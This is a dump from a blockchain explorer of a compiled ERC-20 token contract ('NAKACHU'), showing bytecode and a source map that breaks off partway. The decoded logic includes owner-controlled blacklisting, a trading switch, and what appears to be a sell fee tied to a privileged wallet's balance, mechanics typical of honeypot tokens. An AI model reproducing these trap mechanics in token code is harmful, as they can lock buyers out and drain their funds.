405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e2565b60006117806114a3565b9050600061178e8383611889565b306000908152601760205260409020549091506117ab9082611717565b30600090815260176020526040902055505050565b6003546117cd9083611433565b6003556002546117dd9082611717565b6002555050565b60008080806117fe60646117f88989611889565b906114c6565b9050600061181160646117f88a89611889565b90506000611829826118238b86611433565b90611433565b9992985090965090945050505050565b60008080806118488886611889565b905060006118568887611889565b905060006118648888611889565b90506000611876826118238686611433565b939b939a50919850919650505050505050565b60008260000361189b575060006104d5565b60006118a78385611c60565b9050826118b48583611c3e565b146112b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e2565b600060208083528351808285015260005b818110156119385785810183015185820160400152820161191c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059357600080fd5b6000806040838503121561198157600080fd5b823561198c81611959565b946020939093013593505050565b6000806000606084860312156119af57600080fd5b83356119ba81611959565b925060208401356119ca81611959565b929592945050506040919091013590565b6000602082840312156119ed57600080fd5b81356112b881611959565b801515811461059357600080fd5b600080600060408486031215611a1b57600080fd5b833567ffffffffffffffff80821115611a3357600080fd5b818601915086601f830112611a4757600080fd5b813581811115611a5657600080fd5b8760208260051b8501011115611a6b57600080fd5b60209283019550935050840135611a81816119f8565b809150509250925092565b60008060408385031215611a9f57600080fd5b8235611aaa81611959565b91506020830135611aba81611959565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b3857611b38611b10565b5060010190565b600060208284031215611b5157600080fd5b81516112b881611959565b600080600060608486031215611b7157600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b9c57600080fd5b81516112b8816119f8565b808201808211156104d5576104d5611b10565b818103818111156104d5576104d5611b10565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1d5784516001600160a01b031683529383019391830191600101611bf8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c5b57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104d5576104d5611b1056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f83661582c22a18b61b59e2fc2e618efbc066c23ac113c9022cfc1c9a1840de64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063751039fc116100d1578063c3c8cd801161008a578063dd4214bc11610064578063dd4214bc14610440578063dd62ed3e14610456578063e8078d941461049c578063f2fde38b146104a457600080fd5b8063c3c8cd80146103f6578063c492f0461461040b578063c9567bf91461042b57600080fd5b8063751039fc146103195780637f2feddc1461032e5780638da5cb5b1461035b57806395d89b4114610379578063a9059cbb146103a6578063bfd79284146103c657600080fd5b8063313ce56711610123578063313ce5671461027b57806349bd5a5e146102975780636c0a24eb146102b75780636fc3eaec146102cd57806370a08231146102e4578063715018a61461030457600080fd5b806306fdde0314610176578063095ea7b3146101b85780631694505e146101e857806318160ddd1461022057806323b872dd146102455780632fd689e31461026557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506040805180820190915260078152664e414b4143485560c81b60208201525b6040516101af919061190b565b60405180910390f35b3480156101c457600080fd5b506101d86101d336600461196e565b6104c4565b60405190151581526020016101af565b3480156101f457600080fd5b50601354610208906001600160a01b031681565b6040516001600160a01b0390911681526020016101af565b34801561022c57600080fd5b50670de0b6b3a76400005b6040519081526020016101af565b34801561025157600080fd5b506101d861026036600461199a565b6104db565b34801561027157600080fd5b5061023760115481565b34801561028757600080fd5b50604051600981526020016101af565b3480156102a357600080fd5b50601454610208906001600160a01b031681565b3480156102c357600080fd5b5061023760105481565b3480156102d957600080fd5b506102e2610544565b005b3480156102f057600080fd5b506102376102ff3660046119db565b610596565b34801561031057600080fd5b506102e26105b8565b34801561032557600080fd5b506102e2610635565b34801561033a57600080fd5b506102376103493660046119db565b600b6020526000908152604090205481565b34801561036757600080fd5b506000546001600160a01b0316610208565b34801561038557600080fd5b506040805180820190915260048152634e414b4160e01b60208201526101a2565b3480156103b257600080fd5b506101d86103c136600461196e565b61066c565b3480156103d257600080fd5b506101d86103e13660046119db565b600a6020526000908152604090205460ff1681565b34801561040257600080fd5b506102e2610679565b34801561041757600080fd5b506102e2610426366004611a06565b6106d4565b34801561043757600080fd5b506102e2610775565b34801561044c57600080fd5b50610237600f5481565b34801561046257600080fd5b50610237610471366004611a8c565b6001600160a01b03918216600090815260186020908152604080832093909416825291909152205490565b6102e26107ae565b3480156104b057600080fd5b506102e26104bf3660046119db565b610ab5565b60006104d1338484610b9f565b5060015b92915050565b60006104e8848484610cc3565b61053a843361053585604051806060016040528060288152602001611c78602891396001600160a01b038a1660009081526018602090815260408083203384529091529020549190611223565b610b9f565b5060019392505050565b600854630100000090046001600160a01b0316336001600160a01b0316148061058057506009546001600160a01b0316336001600160a01b0316145b61058957600080fd5b476105938161125d565b50565b6001600160a01b0381166000908152601760205260408120546104d5906112a1565b6000546001600160a01b031633146105eb5760405162461bcd60e51b81526004016105e290611ac5565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461065f5760405162461bcd60e51b81526004016105e290611ac5565b600019600f819055601055565b60006104d1338484610cc3565b600854630100000090046001600160a01b0316336001600160a01b031614806106b557506009546001600160a01b0316336001600160a01b0316145b6106be57600080fd5b60006106c930610596565b9050610593816112bf565b6000546001600160a01b031633146106fe5760405162461bcd60e51b81526004016105e290611ac5565b60005b8281101561076f57816016600086868581811061072057610720611afa565b905060200201602081019061073591906119db565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061076781611b26565b915050610701565b50505050565b6000546001600160a01b0316331461079f5760405162461bcd60e51b81526004016105e290611ac5565b6008805460ff19166001179055565b6000546001600160a01b031633146107d85760405162461bcd60e51b81526004016105e290611ac5565b6013546107f89030906001600160a01b0316670de0b6b3a7640000610b9f565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190611b3f565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f59190611b3f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611b3f565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d719343061099681610596565b6000806109ab6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a13573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a389190611b5c565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a91573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105939190611b8a565b6000546001600160a01b03163314610adf5760405162461bcd60e51b81526004016105e290611ac5565b6001600160a01b038116610b445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e2565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e2565b6001600160a01b0383811660008181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e2565b6001600160a01b038216610d895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e2565b60008111610deb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e2565b6000546001600160a01b03848116911614801590610e1757506000546001600160a01b03838116911614155b156111065760085460ff16610ec1576000546001600160a01b0384811691161480610e4a57506001600160a01b03831630145b610ebc5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e2565b610f13565b600f54811115610f135760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e2565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5557506001600160a01b0382166000908152600a602052604090205460ff16155b610fad5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e2565b6014546001600160a01b038381169116146110325760105481610fcf84610596565b610fd99190611ba7565b106110325760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e2565b600061103d30610596565b601154600f5491925082101590821061105657600f5491505b80801561106b5750600854610100900460ff16155b801561108557506014546001600160a01b03868116911614155b8015611099575060085462010000900460ff165b80156110be57506001600160a01b03851660009081526016602052604090205460ff16155b80156110e357506001600160a01b03841660009081526016602052604090205460ff16155b15611103576110f1826112bf565b478015611101576111014761125d565b505b50505b6001600160a01b03831660009081526016602052604090205460019060ff168061114857506001600160a01b03831660009081526016602052604090205460ff165b8061117a57506014546001600160a01b0385811691161480159061117a57506014546001600160a01b03848116911614155b1561118757506000611217565b6014546001600160a01b0385811691161480156111b257506013546001600160a01b03848116911614155b156111c457600754601255600454600c555b6014546001600160a01b0384811691161480156111ef57506013546001600160a01b03858116911614155b156112175760095460055461120d916001600160a01b031631611433565b601255600654600c555b61076f84848484611475565b600081848411156112475760405162461bcd60e51b81526004016105e2919061190b565b5060006112548486611bba565b95945050505050565b60085460405163010000009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561129d573d6000803e3d6000fd5b5050565b6000806112ac6114a3565b90506112b883826114c6565b9392505050565b6008805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130357611303611afa565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561135c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113809190611b3f565b8160018151811061139357611393611afa565b6001600160a01b0392831660209182029290920101526013546113b99130911684610b9f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f2908590600090869030904290600401611bcd565b600060405180830381600087803b15801561140c57600080fd5b505af1158015611420573d6000803e3d6000fd5b50506008805461ff001916905550505050565b60006112b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611223565b8061148257611482611508565b61148d848484611536565b8061076f5761076f600d54601255600e54600c55565b60008060006114b061162e565b90925090506114bf82826114c6565b9250505090565b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166e565b6012541580156115185750600c54155b1561151f57565b60128054600d55600c8054600e5560009182905555565b600080600080600080611549878a61169c565b6001600160a01b038f16600090815260176020526040902054959b5093995091975095509350915061157b9087611433565b6001600160a01b03808b1660009081526017602052604080822093909355908a16815220546115aa9086611717565b6001600160a01b0389166000908152601760205260409020556115cc81611776565b6115d684836117c0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161b91815260200190565b60405180910390a3505050505050505050565b6003546000908190670de0b6b3a764000061164982826114c6565b82101561166557505060035492670de0b6b3a764000092509050565b90939092509050565b6000818361168f5760405162461bcd60e51b81526004016105e2919061190b565b5060006112548486611c3e565b60008060008060008060008060006116b98b601254600c546117e4565b92509250925060006116c96114a3565b905060008060006116dc8f878787611839565b60095492955090935091506001600160a01b03908116908f16036116ff57600092505b919e909d50909b509399509197509550909350505050565b6000806117248385611ba7565b9050838110156112b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e2565b60006117806114a3565b9050600061178e8383611889565b306000908152601760205260409020549091506117ab9082611717565b30600090815260176020526040902055505050565b6003546117cd9083611433565b6003556002546117dd9082611717565b6002555050565b60008080806117fe60646117f88989611889565b906114c6565b9050600061181160646117f88a89611889565b90506000611829826118238b86611433565b90611433565b9992985090965090945050505050565b60008080806118488886611889565b905060006118568887611889565b905060006118648888611889565b90506000611876826118238686611433565b939b939a50919850919650505050505050565b60008260000361189b575060006104d5565b60006118a78385611c60565b9050826118b48583611c3e565b146112b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e2565b600060208083528351808285015260005b818110156119385785810183015185820160400152820161191c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059357600080fd5b6000806040838503121561198157600080fd5b823561198c81611959565b946020939093013593505050565b6000806000606084860312156119af57600080fd5b83356119ba81611959565b925060208401356119ca81611959565b929592945050506040919091013590565b6000602082840312156119ed57600080fd5b81356112b881611959565b801515811461059357600080fd5b600080600060408486031215611a1b57600080fd5b833567ffffffffffffffff80821115611a3357600080fd5b818601915086601f830112611a4757600080fd5b813581811115611a5657600080fd5b8760208260051b8501011115611a6b57600080fd5b60209283019550935050840135611a81816119f8565b809150509250925092565b60008060408385031215611a9f57600080fd5b8235611aaa81611959565b91506020830135611aba81611959565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b3857611b38611b10565b5060010190565b600060208284031215611b5157600080fd5b81516112b881611959565b600080600060608486031215611b7157600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b9c57600080fd5b81516112b8816119f8565b808201808211156104d5576104d5611b10565b818103818111156104d5576104d5611b10565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1d5784516001600160a01b031683529383019391830191600101611bf8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c5b57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104d5576104d5611b1056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f83661582c22a18b61b59e2fc2e618efbc066c23ac113c9022cfc1c9a1840de64736f6c63430008130033

Deployed Bytecode Sourcemap

4196:12769:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6507:83;;;;;;;;;;-1:-1:-1;6577:5:0;;;;;;;;;;;;-1:-1:-1;;;6577:5:0;;;;6507:83;;;;;;;:::i;:::-;;;;;;;;7818:193;;;;;;;;;;-1:-1:-1;7818:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7818:193:0;1023:187:1;5536:41:0;;;;;;;;;;-1:-1:-1;5536:41:0;;;;-1:-1:-1;;;;;5536:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5536:41:0;1215:229:1;6694:95:0;;;;;;;;;;-1:-1:-1;4670:15:0;6694:95;;;1595:25:1;;;1583:2;1568:18;6694:95:0;1449:177:1;8020:446:0;;;;;;;;;;-1:-1:-1;8020:446:0;;;;;:::i;:::-;;:::i;5424:52::-;;;;;;;;;;;;;;;;7139:83;;;;;;;;;;-1:-1:-1;7139:83:0;;4318:1;2234:36:1;;2222:2;2207:18;7139:83:0;2092:184:1;5584:28:0;;;;;;;;;;-1:-1:-1;5584:28:0;;;;-1:-1:-1;;;;;5584:28:0;;;5364:53;;;;;;;;;;;;;;;;12684:220;;;;;;;;;;;;;:::i;:::-;;6993:138;;;;;;;;;;-1:-1:-1;6993:138:0;;;;;:::i;:::-;;:::i;3783:148::-;;;;;;;;;;;;;:::i;14638:136::-;;;;;;;;;;;;;:::i;5105:43::-;;;;;;;;;;-1:-1:-1;5105:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;3567:79;;;;;;;;;;-1:-1:-1;3605:7:0;3632:6;-1:-1:-1;;;;;3632:6:0;3567:79;;6599:87;;;;;;;;;;-1:-1:-1;6671:7:0;;;;;;;;;;;;-1:-1:-1;;;6671:7:0;;;;6599:87;;7232:199;;;;;;;;;;-1:-1:-1;7232:199:0;;;;;:::i;:::-;;:::i;5067:36::-;;;;;;;;;;-1:-1:-1;5067:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9796:221;;;;;;;;;;;;;:::i;14295:234::-;;;;;;;;;;-1:-1:-1;14295:234:0;;;;;:::i;:::-;;:::i;14206:81::-;;;;;;;;;;;;;:::i;5305:52::-;;;;;;;;;;;;;;;;6797:184;;;;;;;;;;-1:-1:-1;6797:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6946:18:0;;;6914:7;6946:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6797:184;9326:461;;;:::i;3940:244::-;;;;;;;;;;-1:-1:-1;3940:244:0;;;;;:::i;:::-;;:::i;7818:193::-;7920:4;7942:39;3158:10;7965:7;7974:6;7942:8;:39::i;:::-;-1:-1:-1;7999:4:0;7818:193;;;;;:::o;8020:446::-;8152:4;8169:36;8179:6;8187:9;8198:6;8169:9;:36::i;:::-;8216:220;8239:6;3158:10;8287:138;8343:6;8287:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8287:19:0;;;;;;:11;:19;;;;;;;;3158:10;8287:33;;;;;;;;;;:37;:138::i;:::-;8216:8;:220::i;:::-;-1:-1:-1;8454:4:0;8020:446;;;;;:::o;12684:220::-;12750:11;;;;;-1:-1:-1;;;;;12750:11:0;3158:10;-1:-1:-1;;;;;12734:27:0;;:57;;;-1:-1:-1;12781:10:0;;-1:-1:-1;;;;;12781:10:0;3158;-1:-1:-1;;;;;12765:26:0;;12734:57;12726:66;;;;;;12832:21;12864:32;12832:21;12864:12;:32::i;:::-;12715:189;12684:220::o;6993:138::-;-1:-1:-1;;;;;7106:16:0;;7059:7;7106:16;;;:7;:16;;;;;;7086:37;;:19;:37::i;3783:148::-;3695:6;;-1:-1:-1;;;;;3695:6:0;3158:10;3695:22;3687:67;;;;-1:-1:-1;;;3687:67:0;;;;;;;:::i;:::-;;;;;;;;;3890:1:::1;3874:6:::0;;3853:40:::1;::::0;-1:-1:-1;;;;;3874:6:0;;::::1;::::0;3853:40:::1;::::0;3890:1;;3853:40:::1;3921:1;3904:19:::0;;-1:-1:-1;;;;;;3904:19:0::1;::::0;;3783:148::o;14638:136::-;3695:6;;-1:-1:-1;;;;;3695:6:0;3158:10;3695:22;3687:67;;;;-1:-1:-1;;;3687:67:0;;;;;;;:::i;:::-;-1:-1:-1;;14690:15:0::1;:32:::0;;;14733:16:::1;:33:::0;14638:136::o;7232:199::-;7337:4;7359:42;3158:10;7383:9;7394:6;7359:9;:42::i;9796:221::-;9862:11;;;;;-1:-1:-1;;;;;9862:11:0;3158:10;-1:-1:-1;;;;;9846:27:0;;:57;;;-1:-1:-1;9893:10:0;;-1:-1:-1;;;;;9893:10:0;3158;-1:-1:-1;;;;;9877:26:0;;9846:57;9838:66;;;;;;9915:23;9941:24;9959:4;9941:9;:24::i;:::-;9915:50;;9976:33;9993:15;9976:16;:33::i;14295:234::-;3695:6;;-1:-1:-1;;;;;3695:6:0;3158:10;3695:22;3687:67;;;;-1:-1:-1;;;3687:67:0;;;;;;;:::i;:::-;14412:9:::1;14408:114;14427:19:::0;;::::1;14408:114;;;14502:8;14468:18;:31;14487:8;;14496:1;14487:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14468:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;14468:31:0;:42;;-1:-1:-1;;14468:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14448:3;::::1;::::0;::::1;:::i;:::-;;;;14408:114;;;;14295:234:::0;;;:::o;14206:81::-;3695:6;;-1:-1:-1;;;;;3695:6:0;3158:10;3695:22;3687:67;;;;-1:-1:-1;;;3687:67:0;;;;;;;:::i;:::-;14257:15:::1;:22:::0;;-1:-1:-1;;14257:22:0::1;14275:4;14257:22;::::0;;14206:81::o;9326:461::-;3695:6;;-1:-1:-1;;;;;3695:6:0;3158:10;3695:22;3687:67;;;;-1:-1:-1;;;3687:67:0;;;;;;;:::i;:::-;9422:15:::1;::::0;9390:58:::1;::::0;9407:4:::1;::::0;-1:-1:-1;;;;;9422:15:0::1;4670;9390:8;:58::i;:::-;9493:15;;;;;;;;;-1:-1:-1::0;;;;;9493:15:0::1;-1:-1:-1::0;;;;;9493:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9475:55:0::1;;9539:4;9546:15;;;;;;;;;-1:-1:-1::0;;;;;9546:15:0::1;-1:-1:-1::0;;;;;9546:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9475:94;::::0;-1:-1:-1;;;;;;9475:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5263:15:1;;;9475:94:0::1;::::0;::::1;5245:34:1::0;5315:15;;5295:18;;;5288:43;5180:18;;9475:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9459:13;:110:::0;;-1:-1:-1;;;;;;9459:110:0::1;-1:-1:-1::0;;;;;9459:110:0;;::::1;;::::0;;9580:15:::1;::::0;::::1;:31;9619:9;9638:4;9644:24;9638:4:::0;9644:9:::1;:24::i;:::-;9669:1;9671::::0;9673:7:::1;3605::::0;3632:6;-1:-1:-1;;;;;3632:6:0;;3567:79;9673:7:::1;9580:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9580:117:0;;;-1:-1:-1;;;;;5701:15:1;;;9580:117:0::1;::::0;::::1;5683:34:1::0;5733:18;;;5726:34;;;;5776:18;;;5769:34;;;;5819:18;;;5812:34;5883:15;;;5862:19;;;5855:44;9681:15:0::1;5915:19:1::0;;;5908:35;5617:19;;9580:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9715:13:0::1;::::0;9746:15:::1;::::0;9708:71:::1;::::0;-1:-1:-1;;;9708:71:0;;-1:-1:-1;;;;;9746:15:0;;::::1;9708:71;::::0;::::1;6439:51:1::0;-1:-1:-1;;6506:18:1;;;6499:34;9715:13:0;::::1;::::0;-1:-1:-1;9708:29:0::1;::::0;6412:18:1;;9708:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;3940:244::-:0;3695:6;;-1:-1:-1;;;;;3695:6:0;3158:10;3695:22;3687:67;;;;-1:-1:-1;;;3687:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4029:22:0;::::1;4021:73;;;::::0;-1:-1:-1;;;4021:73:0;;6996:2:1;4021:73:0::1;::::0;::::1;6978:21:1::0;7035:2;7015:18;;;7008:30;7074:34;7054:18;;;7047:62;-1:-1:-1;;;7125:18:1;;;7118:36;7171:19;;4021:73:0::1;6794:402:1::0;4021:73:0::1;4131:6;::::0;;4110:38:::1;::::0;-1:-1:-1;;;;;4110:38:0;;::::1;::::0;4131:6;::::1;::::0;4110:38:::1;::::0;::::1;4159:6;:17:::0;;-1:-1:-1;;;;;;4159:17:0::1;-1:-1:-1::0;;;;;4159:17:0;;;::::1;::::0;;;::::1;::::0;;3940:244::o;7440:369::-;-1:-1:-1;;;;;7567:19:0;;7559:68;;;;-1:-1:-1;;;7559:68:0;;7403:2:1;7559:68:0;;;7385:21:1;7442:2;7422:18;;;7415:30;7481:34;7461:18;;;7454:62;-1:-1:-1;;;7532:18:1;;;7525:34;7576:19;;7559:68:0;7201:400:1;7559:68:0;-1:-1:-1;;;;;7646:21:0;;7638:68;;;;-1:-1:-1;;;7638:68:0;;7808:2:1;7638:68:0;;;7790:21:1;7847:2;7827:18;;;7820:30;7886:34;7866:18;;;7859:62;-1:-1:-1;;;7937:18:1;;;7930:32;7979:19;;7638:68:0;7606:398:1;7638:68:0;-1:-1:-1;;;;;7717:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7769:32;;1595:25:1;;;7769:32:0;;1568:18:1;7769:32:0;;;;;;;7440:369;;;:::o;10237:2438::-;-1:-1:-1;;;;;10359:18:0;;10351:68;;;;-1:-1:-1;;;10351:68:0;;8211:2:1;10351:68:0;;;8193:21:1;8250:2;8230:18;;;8223:30;8289:34;8269:18;;;8262:62;-1:-1:-1;;;8340:18:1;;;8333:35;8385:19;;10351:68:0;8009:401:1;10351:68:0;-1:-1:-1;;;;;10438:16:0;;10430:64;;;;-1:-1:-1;;;10430:64:0;;8617:2:1;10430:64:0;;;8599:21:1;8656:2;8636:18;;;8629:30;8695:34;8675:18;;;8668:62;-1:-1:-1;;;8746:18:1;;;8739:33;8789:19;;10430:64:0;8415:399:1;10430:64:0;10522:1;10513:6;:10;10505:64;;;;-1:-1:-1;;;10505:64:0;;9021:2:1;10505:64:0;;;9003:21:1;9060:2;9040:18;;;9033:30;9099:34;9079:18;;;9072:62;-1:-1:-1;;;9150:18:1;;;9143:39;9199:19;;10505:64:0;8819:405:1;10505:64:0;3605:7;3632:6;-1:-1:-1;;;;;10587:15:0;;;3632:6;;10587:15;;;;:32;;-1:-1:-1;3605:7:0;3632:6;-1:-1:-1;;;;;10606:13:0;;;3632:6;;10606:13;;10587:32;10583:1336;;;10677:15;;;;10672:280;;3605:7;3632:6;-1:-1:-1;;;;;10721:15:0;;;3632:6;;10721:15;;:40;;-1:-1:-1;;;;;;10740:21:0;;10756:4;10740:21;10721:40;10713:116;;;;-1:-1:-1;;;10713:116:0;;9431:2:1;10713:116:0;;;9413:21:1;9470:2;9450:18;;;9443:30;9509:34;9489:18;;;9482:62;9580:33;9560:18;;;9553:61;9631:19;;10713:116:0;9229:427:1;10713:116:0;10672:280;;;10888:15;;10878:6;:25;;10870:66;;;;-1:-1:-1;;;10870:66:0;;9863:2:1;10870:66:0;;;9845:21:1;9902:2;9882:18;;;9875:30;9941;9921:18;;;9914:58;9989:18;;10870:66:0;9661:352:1;10870:66:0;-1:-1:-1;;;;;10975:10:0;;;;;;:4;:10;;;;;;;;10974:11;:24;;;;-1:-1:-1;;;;;;10990:8:0;;;;;;:4;:8;;;;;;;;10989:9;10974:24;10966:72;;;;-1:-1:-1;;;10966:72:0;;10220:2:1;10966:72:0;;;10202:21:1;10259:2;10239:18;;;10232:30;10298:34;10278:18;;;10271:62;-1:-1:-1;;;10349:18:1;;;10342:33;10392:19;;10966:72:0;10018:399:1;10966:72:0;11065:13;;-1:-1:-1;;;;;11059:19:0;;;11065:13;;11059:19;11056:148;;11132:16;;11123:6;11107:13;11117:2;11107:9;:13::i;:::-;:22;;;;:::i;:::-;:41;11099:89;;;;-1:-1:-1;;;11099:89:0;;10754:2:1;11099:89:0;;;10736:21:1;10793:2;10773:18;;;10766:30;10832:34;10812:18;;;10805:62;-1:-1:-1;;;10883:18:1;;;10876:33;10926:19;;11099:89:0;10552:399:1;11099:89:0;11221:28;11252:24;11270:4;11252:9;:24::i;:::-;11330:19;;11394:15;;11221:55;;-1:-1:-1;11306:43:0;;;;11370:39;;11367:130;;11466:15;;11443:38;;11367:130;11518:7;:22;;;;-1:-1:-1;11530:10:0;;;;;;;11529:11;11518:22;:47;;;;-1:-1:-1;11552:13:0;;-1:-1:-1;;;;;11544:21:0;;;11552:13;;11544:21;;11518:47;:65;;;;-1:-1:-1;11569:14:0;;;;;;;11518:65;:94;;;;-1:-1:-1;;;;;;11588:24:0;;;;;;:18;:24;;;;;;;;11587:25;11518:94;:121;;;;-1:-1:-1;;;;;;11617:22:0;;;;;;:18;:22;;;;;;;;11616:23;11518:121;11514:394;;;11660:38;11677:20;11660:16;:38::i;:::-;11746:21;11791:22;;11787:106;;11838:35;11851:21;11838:12;:35::i;:::-;11641:267;11514:394;10621:1298;;10583:1336;-1:-1:-1;;;;;11997:24:0;;11932:12;11997:24;;;:18;:24;;;;;;11947:4;;11997:24;;;:50;;-1:-1:-1;;;;;;12025:22:0;;;;;;:18;:22;;;;;;;;11997:50;11996:102;;;-1:-1:-1;12